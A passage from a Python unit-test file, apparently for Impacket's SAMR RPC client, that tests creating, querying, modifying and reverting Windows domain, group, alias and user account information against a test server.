samr.hSamrCreateGroupInDomain(dce, domainHandle, self.test_group, samr.GROUP_ALL_ACCESS | samr.DELETE)\n\n        with assertRaisesRegex(self, samr.DCERPCSessionError, \"STATUS_OBJECT_TYPE_MISMATCH\"):\n            samr.hSamrDeleteGroup(dce, domainHandle)\n\n    def test_SamrCreateAliasInDomain_SamrDeleteAlias(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrCreateAliasInDomain()\n        request['DomainHandle'] = domainHandle\n        request['AccountName'] = self.test_group\n        request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE\n        resp = dce.request(request)\n        resp.dump()\n        request = samr.SamrDeleteAlias()\n        request['AliasHandle'] = resp['AliasHandle']\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hSamrCreateAliasInDomain_hSamrDeleteAlias(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        resp = samr.hSamrCreateAliasInDomain(dce, domainHandle, self.test_group,  samr.GROUP_ALL_ACCESS | samr.DELETE)\n        resp.dump()\n        resp = samr.hSamrDeleteAlias(dce, resp['AliasHandle'])\n        resp.dump()\n\n    def test_SamrCreateUser2InDomain_SamrDeleteUser(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrCreateUser2InDomain()\n        request['DomainHandle'] = domainHandle\n        request['Name'] = self.test_account\n        request['AccountType'] = samr.USER_NORMAL_ACCOUNT\n        request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.DELETE\n        resp = dce.request(request)\n        resp.dump()\n        request = samr.SamrDeleteUser()\n        request['UserHandle'] = resp['UserHandle']\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hSamrCreateUser2InDomain_hSamrDeleteUser(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        resp = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.test_account, samr.USER_NORMAL_ACCOUNT,samr.USER_READ_GENERAL | samr.DELETE )\n        resp.dump()\n        resp = samr.hSamrDeleteUser(dce, resp['UserHandle'])\n        resp.dump()\n\n    def test_SamrQueryInformationDomain2(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n\n        for domain_info_class in [samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainOemInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainNameInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainServerRoleInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainReplicationInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainStateInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation2,\n                                  ]:\n            request = samr.SamrQueryInformationDomain2()\n            request['DomainHandle'] = domainHandle\n            request['DomainInformationClass'] = domain_info_class\n            resp = dce.request(request)\n            resp.dump()\n\n    def test_hSamrQueryInformationDomain2(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n\n        for domain_info_class in [samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainOemInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainNameInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainServerRoleInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainReplicationInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainStateInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation2,\n                                  ]:\n            resp = samr.hSamrQueryInformationDomain2(dce, domainHandle, domain_info_class)\n            resp.dump()\n\n    def test_hSamrQueryInformationDomain_hSamrSetInformationDomain(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n\n        resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation)\n        resp.dump()\n\n        resp['Buffer']['Password']['MaxPasswordAge']['LowPart'] = 11\n        resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp['Buffer'])\n        resp.dump()\n \n        resp2 = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation)\n        resp2.dump()\n        self.assertEqual(11, resp2['Buffer']['Password']['MaxPasswordAge']['LowPart'])\n\n        resp2['Buffer']['Password']['MaxPasswordAge']['LowPart'] = 0\n        resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp2['Buffer'])\n        resp.dump()\n   \n        ################################################################################ \n        resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation)\n        resp.dump()\n\n        resp['Buffer']['General']['ReplicaSourceNodeName'] = self.test_string\n        with assertRaisesRegex(self, samr.DCERPCSessionError, \"STATUS_INVALID_INFO_CLASS\"):\n            samr.hSamrSetInformationDomain(dce, domainHandle, resp['Buffer'])\n\n        ################################################################################ \n        resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation)\n        resp.dump()\n\n        oldData = resp['Buffer']['Logoff']['ForceLogoff']['LowPart'] \n\n        resp['Buffer']['Logoff']['ForceLogoff']['LowPart'] = 11\n        resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp['Buffer'])\n        resp.dump()\n\n        resp2 = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation)\n        resp2.dump()\n\n        self.assertEqual(11, resp2['Buffer']['Logoff']['ForceLogoff']['LowPart'])\n\n        resp2['Buffer']['Logoff']['ForceLogoff']['LowPart'] = oldData\n        resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp2['Buffer'])\n        resp.dump()\n\n        ################################################################################ \n        resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainOemInformation)\n        resp.dump()\n\n        oldData = resp['Buffer']['Oem']['OemInformation']\n\n        resp['Buffer']['Oem']['OemInformation'] = self.test_string\n        resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp['Buffer'])\n        resp.dump()\n\n        resp2 = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainOemInformation)\n        resp2.dump()\n\n        self.assertEqual(self.test_string, resp2['Buffer']['Oem']['OemInformation'])\n\n        resp2['Buffer']['Oem']['OemInformation'] = oldData\n        resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp2['Buffer'])\n        resp.dump()\n\n        for domain_info_class in [samr.DOMAIN_INFORMATION_CLASS.DomainNameInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainServerRoleInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainStateInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation,\n                                  samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation2,\n                                  ]:\n            resp = samr.hSamrQueryInformationDomain(dce, domainHandle, domain_info_class)\n            resp.dump()\n\n        resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainReplicationInformation)\n        resp.dump()\n\n        oldData = resp['Buffer']['Replication']['ReplicaSourceNodeName']\n\n        resp['Buffer']['Replication']['ReplicaSourceNodeName'] = self.test_string\n        resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp['Buffer'])\n        resp.dump()\n\n        resp2 = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainReplicationInformation)\n        resp2.dump()\n\n        self.assertEqual(self.test_string, resp2['Buffer']['Replication']['ReplicaSourceNodeName'])\n\n        resp2['Buffer']['Replication']['ReplicaSourceNodeName'] = oldData\n        resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp2['Buffer'])\n        resp.dump()\n\n    def test_SamrQueryInformationGroup_SamrSetInformationGroup(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrOpenGroup()\n        request['DomainHandle'] = domainHandle\n        request['DesiredAccess'] = samr.GROUP_ALL_ACCESS\n        request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS\n        try:\n            resp0 = dce.request(request)\n            resp0.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:\n                raise\n\n        request = samr.SamrQueryInformationGroup()\n        request['GroupHandle'] = resp0['GroupHandle']\n        request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupGeneralInformation\n        resp = dce.request(request)\n        resp.dump()\n        ################################################################################ \n        request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupNameInformation\n        resp = dce.request(request)\n        resp.dump()\n        oldData = resp['Buffer']['Name']['Name']\n\n        req = samr.SamrSetInformationGroup()\n        req['GroupHandle'] = resp0['GroupHandle']\n        req['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupNameInformation\n        req['Buffer']['tag'] = samr.GROUP_INFORMATION_CLASS.GroupNameInformation\n        req['Buffer']['Name']['Name'] = self.test_string\n        resp = dce.request(req)\n        resp.dump()\n\n        request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupNameInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        self.assertEqual(self.test_string, resp['Buffer']['Name']['Name'])\n\n        req['Buffer']['Name']['Name'] = oldData\n        resp = dce.request(req)\n        resp.dump()\n\n        ################################################################################ \n        request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAttributeInformation\n        resp = dce.request(request)\n        resp.dump()\n        oldData = resp['Buffer']['Attribute']['Attributes']\n\n        req = samr.SamrSetInformationGroup()\n        req['GroupHandle'] = resp0['GroupHandle']\n        req['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAttributeInformation\n        req['Buffer']['tag'] = samr.GROUP_INFORMATION_CLASS.GroupAttributeInformation\n        req['Buffer']['Attribute']['Attributes'] = 2\n        resp = dce.request(req)\n        resp.dump()\n\n        request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAttributeInformation\n        resp = dce.request(request)\n        resp.dump()\n        #self.assertEqual(2, resp['Buffer']['Attribute']['Attributes'])\n\n        req['Buffer']['Attribute']['Attributes'] = oldData\n        resp = dce.request(req)\n        resp.dump()\n\n        ################################################################################ \n        request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAdminCommentInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        oldData = resp['Buffer']['AdminComment']['AdminComment']\n\n        req = samr.SamrSetInformationGroup()\n        req['GroupHandle'] = resp0['GroupHandle']\n        req['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAdminCommentInformation\n        req['Buffer']['tag'] = samr.GROUP_INFORMATION_CLASS.GroupAdminCommentInformation\n        req['Buffer']['AdminComment']['AdminComment'] = self.test_string\n        resp = dce.request(req)\n        resp.dump()\n\n        request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupAdminCommentInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        self.assertEqual(self.test_string, resp['Buffer']['AdminComment']['AdminComment'])\n\n        req['Buffer']['AdminComment']['AdminComment'] = oldData\n        resp = dce.request(req)\n        resp.dump()\n\n        ################################################################################ \n        request['GroupInformationClass'] = samr.GROUP_INFORMATION_CLASS.GroupReplicationInformation\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hSamrQueryInformationGroup_hSamrSetInformationGroup(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n\n        try:\n            resp0 = samr.hSamrOpenGroup(dce, domainHandle, samr.GROUP_ALL_ACCESS, samr.DOMAIN_GROUP_RID_USERS)\n            resp0.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:\n                raise\n\n        resp = samr.hSamrQueryInformationGroup(dce, resp0['GroupHandle'], samr.GROUP_INFORMATION_CLASS.GroupGeneralInformation)\n        resp.dump()\n        ################################################################################ \n\n        resp = samr.hSamrQueryInformationGroup(dce, resp0['GroupHandle'], samr.GROUP_INFORMATION_CLASS.GroupNameInformation)\n        resp.dump()\n        oldData = resp['Buffer']['Name']['Name']\n\n        req = samr.SAMPR_GROUP_INFO_BUFFER()\n        req['tag'] = samr.GROUP_INFORMATION_CLASS.GroupNameInformation\n        req['Name']['Name'] = self.test_string\n        resp = samr.hSamrSetInformationGroup(dce, resp0['GroupHandle'], req)\n        resp.dump()\n\n        resp = samr.hSamrQueryInformationGroup(dce, resp0['GroupHandle'],samr.GROUP_INFORMATION_CLASS.GroupNameInformation)\n        resp.dump()\n        self.assertEqual(self.test_string, resp['Buffer']['Name']['Name'])\n\n        req['Name']['Name'] = oldData\n        resp = samr.hSamrSetInformationGroup(dce, resp0['GroupHandle'], req)\n        resp.dump()\n\n    def test_hSamrQueryInformationAlias_hSamrSetInformationAlias(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n\n        resp4 = samr.hSamrEnumerateAliasesInDomain(dce, domainHandle)\n        resp4.dump()\n\n        resp0 = samr.hSamrOpenAlias(dce, domainHandle, aliasId=resp4['Buffer']['Buffer'][0]['RelativeId'])\n        resp0.dump()\n\n        resp = samr.hSamrQueryInformationAlias(dce, resp0['AliasHandle'], samr.ALIAS_INFORMATION_CLASS.AliasGeneralInformation)\n        resp.dump()\n\n        ################################################################################ \n        resp = samr.hSamrQueryInformationAlias(dce, resp0['AliasHandle'], samr.ALIAS_INFORMATION_CLASS.AliasNameInformation)\n        resp.dump()\n        oldData = resp['Buffer']['Name']['Name']\n\n        req = samr.SAMPR_ALIAS_INFO_BUFFER()\n        req['tag'] = samr.ALIAS_INFORMATION_CLASS.AliasNameInformation\n        req['Name']['Name'] = self.test_string\n        resp = samr.hSamrSetInformationAlias(dce, resp0['AliasHandle'], req)\n        resp.dump()\n\n        resp = samr.hSamrQueryInformationAlias(dce, resp0['AliasHandle'], samr.ALIAS_INFORMATION_CLASS.AliasNameInformation)\n        resp.dump()\n\n        self.assertEqual(self.test_string, resp['Buffer']['Name']['Name'])\n\n        req['Name']['Name'] = oldData\n        resp = samr.hSamrSetInformationAlias(dce, resp0['AliasHandle'], req)\n        resp.dump()\n\n    def test_SamrQueryInformationAlias_SamrSetInformationAlias(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrEnumerateAliasesInDomain()\n        request['DomainHandle'] = domainHandle\n        request['EnumerationContext'] = 0\n        request['PreferedMaximumLength'] = 500\n        status = nt_errors.STATUS_MORE_ENTRIES\n        while status == nt_errors.STATUS_MORE_ENTRIES:\n            try:\n                resp4 = dce.request(request)\n            except samr.DCERPCSessionError as e:\n                if str(e).find('STATUS_MORE_ENTRIES') < 0:\n                    raise \n                resp4 = e.get_packet()\n            resp4['Buffer'].dump()\n            request['EnumerationContext'] = resp4['EnumerationContext'] \n            status = resp4['ErrorCode']\n\n        resp4.dump()\n        request = samr.SamrOpenAlias()\n        request['DomainHandle'] = domainHandle\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED\n        request['AliasId'] = resp4['Buffer']['Buffer'][0]['RelativeId']\n        resp0 = dce.request(request)\n        resp0.dump()\n\n        request = samr.SamrQueryInformationAlias()\n        request['AliasHandle'] = resp0['AliasHandle']\n        request['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasGeneralInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        ################################################################################ \n        request['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasNameInformation\n        resp = dce.request(request)\n        resp.dump()\n        oldData = resp['Buffer']['Name']['Name']\n\n        req = samr.SamrSetInformationAlias()\n        req['AliasHandle'] = resp0['AliasHandle']\n        req['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasNameInformation\n        req['Buffer']['tag'] = samr.ALIAS_INFORMATION_CLASS.AliasNameInformation\n        req['Buffer']['Name']['Name'] = self.test_string\n        resp = dce.request(req)\n        resp.dump()\n\n        request['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasNameInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        self.assertEqual(self.test_string, resp['Buffer']['Name']['Name'])\n\n        req['Buffer']['Name']['Name'] = oldData\n        resp = dce.request(req)\n        resp.dump()\n\n        ################################################################################\n        request['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasAdminCommentInformation\n        resp = dce.request(request)\n        resp.dump()\n        oldData = resp['Buffer']['AdminComment']['AdminComment']\n\n        req = samr.SamrSetInformationAlias()\n        req['AliasHandle'] = resp0['AliasHandle']\n        req['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasAdminCommentInformation\n        req['Buffer']['tag'] = samr.ALIAS_INFORMATION_CLASS.AliasAdminCommentInformation\n        req['Buffer']['AdminComment']['AdminComment'] = self.test_string\n        resp = dce.request(req)\n        resp.dump()\n\n        request['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasAdminCommentInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        self.assertEqual(self.test_string, resp['Buffer']['AdminComment']['AdminComment'])\n\n        req['Buffer']['AdminComment']['AdminComment'] = oldData\n        resp = dce.request(req)\n        resp.dump()\n\n    def test_SamrQueryInformationUser2_SamrSetInformationUser2(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        request = samr.SamrOpenUser()\n        request['DomainHandle'] = domainHandle\n        #request['DesiredAccess'] =  samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT | samr.USER_ALL_ACCESS | samr.USER_READ | samr.USER_READ_LOGON \n        request['DesiredAccess'] = \\\n            samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_WRITE_PREFERENCES | samr.USER_READ_LOGON \\\n            | samr.USER_READ_ACCOUNT | samr.USER_WRITE_ACCOUNT | samr.USER_CHANGE_PASSWORD | samr.USER_FORCE_PASSWORD_CHANGE  \\\n            | samr.USER_LIST_GROUPS | samr.USER_READ_GROUP_INFORMATION | samr.USER_WRITE_GROUP_INFORMATION | samr.USER_ALL_ACCESS  \\\n            | samr.USER_READ | samr.USER_WRITE | samr.USER_EXECUTE\n\n        # Get the user handle for the domain admin user\n        request['UserId'] = samr.DOMAIN_USER_RID_ADMIN\n        resp = dce.request(request)\n        resp.dump()\n\n        request = samr.SamrQueryInformationUser2()\n        request['UserHandle'] = resp['UserHandle']\n        userHandle = resp['UserHandle'] \n        request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserGeneralInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        # Set a new user comment and revert it back\n        request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserPreferencesInformation\n        resp = dce.request(request)\n        resp.dump()\n        oldData = resp['Buffer']['Preferences']['UserComment']\n\n        set_request = samr.SamrSetInformationUser2()\n        set_request['UserHandle'] = userHandle\n        set_request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserPreferencesInformation\n        set_request['Buffer'] = resp['Buffer']\n        set_request['Buffer']['Preferences']['UserComment'] = self.test_string\n        resp = dce.request(set_request)\n        resp.dump()\n\n        resp = dce.request(request)\n        resp.dump()\n\n        self.assertEqual(self.test_string, resp['Buffer']['Preferences']['UserComment'])\n\n        set_request['Buffer']['Preferences']['UserComment'] = oldData\n        resp = dce.request(set_request)\n        resp.dump()\n\n        # Get different user info classes\n        for user_info_class in [samr.USER_INFORMATION_CLASS.UserLogonInformation,\n                                samr.USER_INFORMATION_CLASS.UserLogonHoursInformation,\n                                samr.USER_INFORMATION_CLASS.UserAccountInformation,\n                                ]:\n            request['UserInformationClass'] = user_info_class\n            resp = dce.request(request)\n            resp.dump()\n\n        # Set a new full name and revert it back\n        request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserNameInformation\n        resp = dce.request(request)\n        resp.dump()\n        oldData = resp['Buffer']['Name']['FullName']\n\n        set_request = samr.SamrSetInformationUser2()\n        set_request['UserHandle'] = userHandle\n        set_request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserNameInformation\n        set_request['Buffer'] = resp['Buffer']\n        set_request['Buffer']['Name']['FullName'] = self.full_name_string\n        resp = dce.request(set_request)\n        resp.dump()\n\n        resp = dce.request(request)\n        resp.dump()\n\n        self.assertEqual(self.full_name_string, resp['Buffer']['Name']['FullName'])\n\n        set_request['Buffer']['Name']['FullName'] = oldData\n        resp = dce.request(set_request)\n        resp.dump()\n\n        # Set a new username and revert it back\n        request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserAccountNameInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        oldData = resp['Buffer']['AccountName']['UserName']\n\n        req = samr.SamrSetInformationUser2()\n        req['UserHandle'] = userHandle\n        req['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserAccountNameInformation\n        req['Buffer'] = resp['Buffer'] \n        req['Buffer']['AccountName']['UserName'] = self.test_string\n        resp = dce.request(req)\n        resp.dump()\n\n        resp = dce.request(request)\n        resp.dump()\n\n        self.assertEqual(self.test_string, resp['Buffer']['AccountName']['UserName'])\n\n        req['Buffer']['AccountName']['UserName'] = oldData\n        resp = dce.request(req)\n        resp.dump()\n\n        # Get different user info classes\n        for user_info_class in [samr.USER_INFORMATION_CLASS.UserFullNameInformation,\n                                samr.USER_INFORMATION_CLASS.UserPrimaryGroupInformation,\n                                samr.USER_INFORMATION_CLASS.UserHomeInformation,\n                                samr.USER_INFORMATION_CLASS.UserScriptInformation,\n                                samr.USER_INFORMATION_CLASS.UserProfileInformation,\n                                samr.USER_INFORMATION_CLASS.UserAdminCommentInformation,\n                                samr.USER_INFORMATION_CLASS.UserWorkStationsInformation,\n                                samr.USER_INFORMATION_CLASS.UserControlInformation,\n                                samr.USER_INFORMATION_CLASS.UserExpiresInformation,\n                                samr.USER_INFORMATION_CLASS.UserParametersInformation,\n                                samr.USER_INFORMATION_CLASS.UserAllInformation,\n                                ]:\n            request['UserInformationClass'] = user_info_class\n            resp = dce.request(request)\n            resp.dump()\n\n        # Get different user info classes that are internal\n        for internal_user_info_class in [samr.USER_INFORMATION_CLASS.UserInternal1Information,\n                                         samr.USER_INFORMATION_CLASS.UserInternal4Information,\n                                         samr.USER_INFORMATION_CLASS.UserInternal5Information,\n                                         samr.USER_INFORMATION_CLASS.UserInternal4InformationNew,\n                                         samr.USER_INFORMATION_CLASS.UserInternal5InformationNew\n                                         ]:\n            request['UserInformationClass'] = internal_user_info_class\n            with assertRaisesRegex(self, samr.DCERPCSessionError, \"STATUS_INVALID_INFO_CLASS\"):\n                dce.request(request)\n\n    def test_hSamrQueryInformationUser2_hSamrSetInformationUser2(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n\n        # Get the user handle for the domain admin user\n        desiredAccess = \\\n            samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_WRITE_PREFERENCES | samr.USER_READ_LOGON \\\n            | samr.USER_READ_ACCOUNT | samr.USER_WRITE_ACCOUNT | samr.USER_CHANGE_PASSWORD | samr.USER_FORCE_PASSWORD_CHANGE  \\\n            | samr.USER_LIST_GROUPS | samr.USER_READ_GROUP_INFORMATION | samr.USER_WRITE_GROUP_INFORMATION | samr.USER_ALL_ACCESS  \\\n            | samr.USER_READ | samr.USER_WRITE | samr.USER_EXECUTE\n        resp = samr.hSamrOpenUser(dce, domainHandle, desiredAccess, samr.DOMAIN_USER_RID_ADMIN )\n        resp.dump()\n        userHandle = resp['UserHandle']\n\n        resp = samr.hSamrQueryInformationUser2(dce, userHandle, samr.USER_INFORMATION_CLASS.UserGeneralInformation)\n        resp.dump()\n\n        # Set a new user comment and revert it back\n        resp = samr.hSamrQueryInformationUser2(dce, userHandle, samr.USER_INFORMATION_CLASS.UserPreferencesInformation)\n        resp.dump()\n        oldData = resp['Buffer']['Preferences']['UserComment']\n\n        resp['Buffer']['Preferences']['UserComment'] = self.test_string\n        resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer'])\n        resp.dump()\n\n        resp = samr.hSamrQueryInformationUser2(dce, userHandle, samr.USER_INFORMATION_CLASS.UserPreferencesInformation)\n        resp.dump()\n\n        self.assertEqual(self.test_string, resp['Buffer']['Preferences']['UserComment'])\n\n        resp['Buffer']['Preferences']['UserComment'] = oldData\n        resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer'])\n        resp.dump()\n\n        # Get different user info classes\n        for user_info_class in [samr.USER_INFORMATION_CLASS.UserLogonInformation,\n                                samr.USER_INFORMATION_CLASS.UserLogonHoursInformation,\n                                samr.USER_INFORMATION_CLASS.UserAccountInformation,\n                                ]:\n            samr.hSamrQueryInformationUser2(dce, userHandle, user_info_class)\n\n        # Set a new full name and revert it back\n        resp = samr.hSamrQueryInformationUser2(dce, userHandle, samr.USER_INFORMATION_CLASS.UserNameInformation)\n        resp.dump()\n        oldData = resp['Buffer']['Name']['FullName']\n\n        resp['Buffer']['Name']['FullName'] = self.full_name_string\n        resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer'])\n        resp.dump()\n\n        resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserNameInformation)\n        resp.dump()\n\n        self.assertEqual(self.full_name_string, resp['Buffer']['Name']['FullName'])\n\n        resp['Buffer']['Name']['FullName'] = oldData\n        resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer'])\n        resp.dump()\n\n        # Set a new username and revert it back\n        resp = samr.hSamrQueryInformationUser2(dce, userHandle, samr.USER_INFORMATION_CLASS.UserAccountNameInformation)\n        resp.dump()\n\n        oldData = resp['Buffer']['AccountName']['UserName']\n\n        resp['Buffer']['AccountName']['UserName'] = self.test_string\n        resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer'])\n        resp.dump()\n\n        resp = samr.hSamrQueryInformationUser2(dce, userHandle, samr.USER_INFORMATION_CLASS.UserAccountNameInformation)\n        resp.dump()\n\n        self.assertEqual(self.test_string, resp['Buffer']['AccountName']['UserName'])\n\n        resp['Buffer']['AccountName']['UserName'] = oldData\n        resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer'])\n        resp.dump()\n\n        # Get different user info classes\n        for user_info_class in [samr.USER_INFORMATION_CLASS.UserFullNameInformation,\n                                samr.USER_INFORMATION_CLASS.UserPrimaryGroupInformation,\n                                samr.USER_INFORMATION_CLASS.UserHomeInformation,\n                                samr.USER_INFORMATION_CLASS.UserScriptInformation,\n                                samr.USER_INFORMATION_CLASS.UserProfileInformation,\n                                samr.USER_INFORMATION_CLASS.UserAdminCommentInformation,\n                                samr.USER_INFORMATION_CLASS.UserWorkStationsInformation,\n                                samr.USER_INFORMATION_CLASS.UserControlInformation,\n                                samr.USER_INFORMATION_CLASS.UserExpiresInformation,\n                                samr.USER_INFORMATION_CLASS.UserParametersInformation,\n                                samr.USER_INFORMATION_CLASS.UserAllInformation,\n                                ]:\n            samr.hSamrQueryInformationUser2(dce, userHandle, user_info_class)\n\n        # Get different user info classes that are internal\n        for internal_user_info_class in [samr.USER_INFORMATION_CLASS.UserInternal1Information,\n                                         samr.USER_INFORMATION_CLASS.UserInternal4Information,\n                                         samr.USER_INFORMATION_CLASS.UserInternal5Information,\n                                         samr.USER_INFORMATION_CLASS.UserInternal4InformationNew,\n                                         samr.USER_INFORMATION_CLASS.UserInternal5InformationNew\n                                         ]:\n            with assertRaisesRegex(self, samr.DCERPCSessionError, \"STATUS_INVALID_INFO_CLASS\"):\n                samr.hSamrQueryInformationUser2(dce, userHandle, internal_user_info_class)\n\n    def test_SamrQueryInformationUser_SamrSetInformationUser(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n\n        # Get the user handle for the domain admin user\n        request = samr.SamrOpenUser()\n        request['DomainHandle'] = domainHandle\n        request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT | samr.USER_ALL_ACCESS | samr.USER_READ\n        request['UserId'] = samr.DOMAIN_USER_RID_ADMIN\n        resp = dce.request(request)\n        resp.dump()\n\n        request = samr.SamrQueryInformationUser()\n        request['UserHandle'] = resp['UserHandle']\n        userHandle = resp['UserHandle']\n\n        request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserGeneralInformation\n        resp = dce.request(request)\n        resp.dump()\n\n        # Set a new user comment and revert it back\n        request['UserInformationClass'] = 